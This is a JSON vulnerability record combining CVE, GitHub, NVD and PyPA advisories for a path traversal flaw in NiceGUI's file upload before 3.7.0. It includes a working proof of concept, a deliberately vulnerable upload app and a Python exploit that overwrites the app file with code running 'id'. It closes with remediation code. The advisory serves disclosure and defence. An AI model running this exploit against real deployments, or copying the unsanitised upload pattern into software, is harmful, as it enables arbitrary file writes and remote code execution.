{"id":"CVE-2026-25732","aliases":["CVE-2026-25732","GHSA-9ffm-fxg3-xrhh","PYSEC-2026-95"],"related":[],"kind":"vulnerability","state":"published","title":"NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write","summary":"NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nNiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -> None:\n    target = Path(path)\n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name  # e.file.name = \"../app.py\"\nawait e.file.save(save_path)           # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp && mkdir -p evilgui && cd evilgui\npython3 -m venv evilgui && source evilgui/bin/activate\npip install nicegui\n\ncat > vulnerable_app.py << 'EOF'\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path('./uploads')\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page('/')\ndef index():\n    async def handle_upload(e):\n        save_path = UPLOAD_DIR / e.file.name\n        await e.file.save(save_path)\n        ui.notify(f'File saved: {e.file.name}')\n    \n    ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py &\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat > exploit.py << 'EOF'\nimport requests, re, time\n\ns = requests.Session()\ns.get('http://localhost:8080')\ntime.sleep(2)\n\nhtml = s.get('http://localhost:8080').text\nmatch = re.search(r'/_nicegui/client/([^/]+)/upload/(\\d+)', html)\nupload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'\n\npayload = '''from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n    ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n'''\n\ns.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app && python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n    safe_name = Path(e.file.name).name # Strip directory components!\n    await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:\n    target = Path(path).resolve()\n    \n    if base_dir is not None:\n        base_dir = base_dir.resolve()\n        if not target.is_relative_to(base_dir):\n            raise ValueError(\n                f\"Path '{target}' escapes base directory '{base_dir}'\"\n            )\n    \n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n````","format":"markdown","source":"ghsa"},{"lang":"es","text":"NiceGUI es un framework de UI basado en Python. Antes de la versión 3.7.0, la propiedad FileUpload.name de NiceGUI expone metadatos de nombre de archivo proporcionados por el cliente sin sanitización, lo que permite el salto de ruta cuando los desarrolladores usan el patrón UPLOAD_DIR / file.name. Nombres de archivo maliciosos que contienen secuencias ../ permiten a los atacantes escribir archivos fuera de los directorios previstos, con potencial de ejecución remota de código a través de la sobrescritura de archivos de la aplicación en patrones de despliegue vulnerables. Este diseño crea un riesgo de seguridad autoinducido prevalente que afecta a las aplicaciones que siguen patrones comunes de la comunidad. Nota: La explotación requiere código de aplicación que incorpore file.name en las rutas del sistema de archivos sin sanitización. Las aplicaciones que usan rutas fijas, nombres de archivo generados o sanitización explícita no se ven afectadas. Esta vulnerabilidad está corregida en la versión 3.7.0.","source":"nvd"}],"published":"2026-02-05T21:08:53.000Z","modified":"2026-06-17T10:25:07.703Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-22","CWE-601"],"affected":[{"ranges":[{"version":"< 3.7.0","status":"affected"}],"vendor":"zauberzeug","product":"nicegui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.7.0"}],"ecosystem":"PyPI","package":"nicegui","purl":"pkg:pypi/nicegui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.7.0"}],"vendor":"zauberzeug","product":"nicegui","cpe":"cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.7.0"}],"ecosystem":"PyPI","package":"nicegui","purl":"pkg:pypi/nicegui","source":"pysec"}],"references":[{"url":"https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh","tags":["evidence","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25732","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/zauberzeug/nicegui","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-02-09T15:21:57.559Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25732","url":"https://www.cve.org/CVERecord?id=CVE-2026-25732","licence":"CVE Terms of Use","modified":"2026-02-09T15:27:21.089Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9ffm-fxg3-xrhh","url":"https://github.com/advisories/GHSA-9ffm-fxg3-xrhh","licence":"CC-BY-4.0","modified":"2026-06-06T15:00:08.265Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25732","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25732","licence":"Public domain","modified":"2026-06-17T10:25:07.703Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-95","url":"https://osv.dev/vulnerability/PYSEC-2026-95","licence":"CC-BY-4.0","modified":"2026-05-20T09:19:09.073Z"}],"updatedAt":"2026-11-25T22:59:13.585Z","epss":{"score":0.03379,"percentile":0.89089,"date":"2026-12-01T12:00:22.000Z"}}